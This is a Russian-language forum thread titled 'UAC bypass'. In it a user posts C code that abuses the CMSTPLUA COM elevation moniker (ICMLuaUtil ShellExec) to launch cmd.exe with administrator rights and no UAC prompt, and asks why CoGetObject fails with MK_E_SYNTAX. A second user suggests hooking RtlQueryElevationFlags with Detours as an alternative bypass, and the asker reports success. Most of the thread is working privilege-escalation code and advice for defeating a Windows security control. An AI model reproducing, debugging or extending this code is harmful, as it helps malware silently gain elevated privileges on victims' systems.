UAC bypass

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by mr4z, 2 Sep 2017.

  1. mr4z

    mr4z New Member

    Joined:
    27 Aug 2017
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Доброго времени суток.
    Есть код который пропускает UAC, в другом проекте все замечательно работает.
    В моем выходит из цикла из-за ошибки.

    Ниже код функции:
    Code:
    VOID check()
    {
        HRESULT          r = E_FAIL;
        BOOL             bCond = FALSE;
        IID              xIID_ICMLuaUtil;
        CLSID            xCLSID_ICMLuaUtil;
        ICMLuaUtil       *CMLuaUtil = NULL;
        BIND_OPTS3       bop;
        WCHAR            szElevationMoniker[MAX_PATH];
    
        do {
    
            if (CLSIDFromString(T_CLSID_CMSTPLUA, &xCLSID_ICMLuaUtil) != NOERROR) {
                break;
            }
            if (IIDFromString(T_IID_ICMLuaUtil, &xIID_ICMLuaUtil) != S_OK) {
                break;
            }
    
            RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
    
            strcpy_w(szElevationMoniker, L"Elevation:Administrator!new:");
            strcat_w(szElevationMoniker, T_CLSID_CMSTPLUA);
    
            RtlSecureZeroMemory(&bop, sizeof(bop));
            bop.cbStruct = sizeof(bop);
            bop.dwClassContext = CLSCTX_LOCAL_SERVER;
    
            r = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_ICMLuaUtil, &CMLuaUtil);
            if (r == MK_E_SYNTAX) {
                printf("MK_E_SYNTAX\n");
            }
            if (r != S_OK) {
                printf("wft");
                break;
            }
    
            r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"C:\\windows\\system32\\cmd.exe", NULL, NULL, SEE_MASK_DEFAULT, SW_SHOW);
    
        } while (bCond);
    
        if (CMLuaUtil != NULL) {
            CMLuaUtil->lpVtbl->Release(CMLuaUtil);
        }
    
    }
    Выходит из цикла, так как r == MK_E_SYNTAX, после выполнения CoGetObject.
    Бьюсь вторые сутки не могу понять из-за чего.
    MK_E_SYNTAX по msdn указывает на (Параметр pszName не является правильно сформированным отображаемым именем.)
    Судя по example из google все должно работать, но увы.

    В исходном варианте все работает без проблем и при смене аргументов.
    Если нужно будет приложу header файл.
    Заранее спасибо.
     
  2. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    нафиг ты так мучаешься, перехватывай rtlquery
     
  3. mr4z

    mr4z New Member

    Joined:
    27 Aug 2017
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    а можно по подробнее?
     
  4. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    перехватываешь функцию rtlqueryelevationflag. конец)
    про перехват надйи в гугле, если пишешь на си в студии то детурс тебе отлично подойдет, перехват можно написать в 3 строчки.
     
    mr4z likes this.
  5. mr4z

    mr4z New Member

    Joined:
    27 Aug 2017
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    я уже понял про что вы говорите, или догадываюсь о том, что понял и да все замечательно работает. Спасибо за ответы)